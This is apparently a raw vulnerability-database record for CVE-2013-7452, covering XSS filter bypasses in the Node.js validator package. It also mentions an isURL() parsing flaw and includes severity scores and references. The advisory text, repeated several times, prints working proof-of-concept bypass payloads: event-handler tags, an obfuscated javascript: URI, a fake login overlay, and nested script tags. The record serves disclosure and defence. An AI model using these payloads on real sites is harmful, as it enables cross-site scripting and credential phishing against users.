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The isURL() function uses '://' as a delimiter to parse protocols, while browsers use ':' as the delimiter. This parsing difference allows attackers to bypass protocol and domain validation by crafting URLs leading to XSS and Open Redirect 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XSS Filter Bypasses\nThe validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). Several ways to bypass the filter were discovered. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off 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Several ways to bypass the filter were discovered. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.","references":[{"reference_url":"http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html)","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":""}],"url":"http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html)"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2013-7452","reference_id":"","reference_type":"","scores":[{"value":"0.00566","scoring_system":"epss","scoring_elements":"0.68879","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00566","scoring_system":"epss","scoring_elements":"0.6886","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00566","scoring_system":"epss","scoring_elements":"0.68883","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00566","scoring_system":"epss","scoring_elements":"0.68835","published_at":"2026-06-04T12:55:00Z"},{"value":"0.00566","scoring_system":"epss","scoring_elements":"0.68875","published_at":"2026-06-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2013-7452"},{"reference_url":"https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module/)","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":""}],"url":"https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module/)"},{"reference_url":"https://github.com/nodejs/security-wg/blob/main/vuln/npm/41.json","reference_id":"41","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":""}],"url":"https://github.com/nodejs/security-wg/blob/main/vuln/npm/41.json"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2013-7452","reference_id":"CVE-2013-7452","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2013-7452"},{"reference_url":"https://github.com/advisories/GHSA-rh6c-q938-3r9q","reference_id":"GHSA-rh6c-q938-3r9q","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-rh6c-q938-3r9q"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/6517?format=json","purl":"pkg:npm/validator@1.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-36f4-22dx-47et"},{"vulnerability":"VCID-3q1g-xkk6-m3an"},{"vulnerability":"VCID-4u1k-er6z-fqb8"},{"vulnerability":"VCID-4zv9-cpgr-nyep"},{"vulnerability":"VCID-5y3j-q5mp-p3cf"},{"vulnerability":"VCID-hr9j-sp88-yqcp"},{"vulnerability":"VCID-q24m-nb1z-suek"},{"vulnerability":"VCID-swkj-b4bq-rfgw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/validator@1.1.0"}],"aliases":["CVE-2013-7452","GHSA-rh6c-q938-3r9q"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-gpv5-11eq-13hv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/30517?format=json","vulnerability_id":"VCID-h98m-yv3g-tuc8","summary":"Multiple XSS Filter Bypasses\nThe validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). Several ways to bypass the filter were discovered. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off 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XSS Filter Bypasses\nThe validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). Several ways to bypass the filter were discovered. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off 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